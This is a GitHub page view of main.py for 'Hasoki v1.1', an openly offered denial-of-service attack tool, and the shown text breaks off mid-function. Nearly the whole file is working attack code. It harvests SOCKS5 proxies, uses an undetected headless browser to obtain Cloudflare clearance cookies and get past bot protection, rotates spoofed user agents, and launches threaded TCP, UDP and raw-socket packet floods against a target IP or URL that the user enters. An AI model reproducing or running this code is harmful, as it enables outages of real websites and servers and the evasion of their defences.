-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathmain.py
1367 lines (1303 loc) · 82.8 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
# From NV with love
# Hasoki v1.1
# All for FREE
from os import system, name
import httpx
import undetected_chromedriver as webdriver
from httpx import AsyncClient, Headers
import os, threading, requests, cloudscraper, datetime, time, socket, ssl, random, socket
import socket
from urllib.parse import urlparse
from requests.cookies import RequestsCookieJar
import undetected_chromedriver as webdriver
from sys import stdout
from colorama import Fore, init
from sys import argv
from threading import Thread
init(convert=True)
def countdown(t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
while True:
if (until - datetime.datetime.now()).total_seconds() > 0:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack status => " + str((until - datetime.datetime.now()).total_seconds()) + " sec left ")
else:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack Done ! \n")
return
#ua
useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
"Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0",
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)",
"Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
"Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a",
"Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2",
"Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2",
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
"Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ",
"Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre",
"Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2",
"Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0",
"Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre",
"Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre",
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1",
"Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
"Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8",
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0",
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15",
"Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko",
"Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
"Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025",
"Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1",
"Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1",
"Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)",
"Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330",
"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)",
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8",
"Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0",
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
"Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12",
"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0",
"Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15",
"Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3",
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5",
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8",
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3",
"Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
"Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
"Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
"Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
"Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
"Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 MicroMessenger/6.6.1 NetType/4G Language/zh_CN",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C202 MicroMessenger/6.6.1 NetType/4G Language/zh_CN",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 MicroMessenger/6.6.1 NetType/WIFI Language/zh_CN",
"Mozilla/5.0 (iphone x Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",]
#random method
method = [
"GET",
"POST",
"HEAD",
]
#socks5resource
proxyResources = [
'https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=10000&country=all',
'https://www.proxy-list.download/api/v1/get?type=socks5',
'https://www.proxyscan.io/download?type=socks5',
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt',
]
socksFile= "socks5.txt"
#GET SOCKS
def socksCrawler():
global socksFile, socksResources
f = open(socksFile,'wb')
for url in proxyResources:
try:
f.write(requests.get(url).content)
except:
pass
f.close()
def get_target(url):
url = url.rstrip()
target = {}
target['uri'] = urlparse(url).path
if target['uri'] == "":
target['uri'] = "/"
target['host'] = urlparse(url).netloc
target['scheme'] = urlparse(url).scheme
if ":" in urlparse(url).netloc:
target['port'] = urlparse(url).netloc.split(":")[1]
else:
target['port'] = "443" if urlparse(url).scheme == "https" else "80"
pass
return target
def get_proxies():
global proxies
if not os.path.exists("./http.txt"):
stdout.write(Fore.MAGENTA+" [*]"+Fore.WHITE+" You Need Proxy File ( ./http.txt )\n")
return False
proxies = open("./http.txt", 'r').read().split('\n')
return True
def get_cookie(url):
global useragent, cookieJAR, cookie
options = webdriver.ChromeOptions()
arguments = [
'--no-sandbox', '--disable-setuid-sandbox', '--disable-infobars', '--disable-logging', '--disable-login-animations',
'--disable-notifications', '--disable-gpu', '--headless', '--lang=ko_KR', '--start-maxmized',
'--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en'
]
for argument in arguments:
options.add_argument(argument)
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(3)
driver.get(url)
for _ in range(60):
cookies = driver.get_cookies()
tryy = 0
for i in cookies:
if i['name'] == 'cf_clearance':
cookieJAR = driver.get_cookies()[tryy]
useragent = driver.execute_script("return navigator.userAgent")
cookie = f"{cookieJAR['name']}={cookieJAR['value']}"
driver.quit()
return True
else:
tryy += 1
pass
time.sleep(1)
driver.quit()
return False
##############################################################################################
def get_info_l7():
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"URL "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, thread, t
def get_info_l4():
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"IP "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"PORT "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
port = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTGREEN_EX+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, port, thread, t
##############################################################################################
#tcp syn flood
def runflooder(host, port, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
rand = random._urandom(4096)
for _ in range(int(th)):
try:
thd = threading.Thread(target=flooder, args=(host, port, rand, until))
thd.start()
except:
pass
def flooder(host, port, rand, until_datetime):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.setblocking(0)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
dport = random.randint(1, 65535) if port == 0 else port
sock.connect((host, dport))
except:
pass
#minecraft dos
def runmine(host, port, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
rand = "\x06\x00/\x00\x00\x00\x02\x0c\x00"
for _ in range(int(th)):
try:
thd = threading.Thread(target=mine, args=(host, port, rand, until))
thd.start()
except:
pass
def mine(host, port, rand, until_datetime):
sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
sock.sendto("\x06\x00/\x00\x00\x00\x02\x0c\x00", (host, int(port)))
except:
sock.close()
pass
#vse dos
def runvse(host, port, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
rand = "\x06\x00/\x00\x00\x00\x02\x0c\x00"
for _ in range(int(th)):
try:
thd = threading.Thread(target=vse, args=(host, port, rand, until))
thd.start()
except:
pass
def vse(host, port, rand, until_datetime):
sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
sock.sendto("\x06\x00/\x00\x00\x00\x02\x0c\x00", (host, int(port)))
except:
sock.close()
pass
def runsender(host, port, th, t):
# if payload == "":
# payload = random._urandom(1024)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
# payload = Payloads[method]
for _ in range(int(th)):
try:
thd = threading.Thread(target=sender, args=(host, port, until, payload))
thd.start()
except:
pass
def sender(host, port, until_datetime, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
# for _ in range(200):
payload = random._urandom(1024)
sock.sendto(payload, (host, int(port)))
except:
sock.close()
pass
#endregion
#region METHOD
#region HEAD
def Launch(url, th, t, method): #testing
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
exec("threading.Thread(target=Attack"+method+", args=(url, until)).start()")
except:
pass
def LaunchHEAD(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackHEAD, args=(url, until))
thd.start()
except:
pass
def AttackHEAD(url, until_datetime):
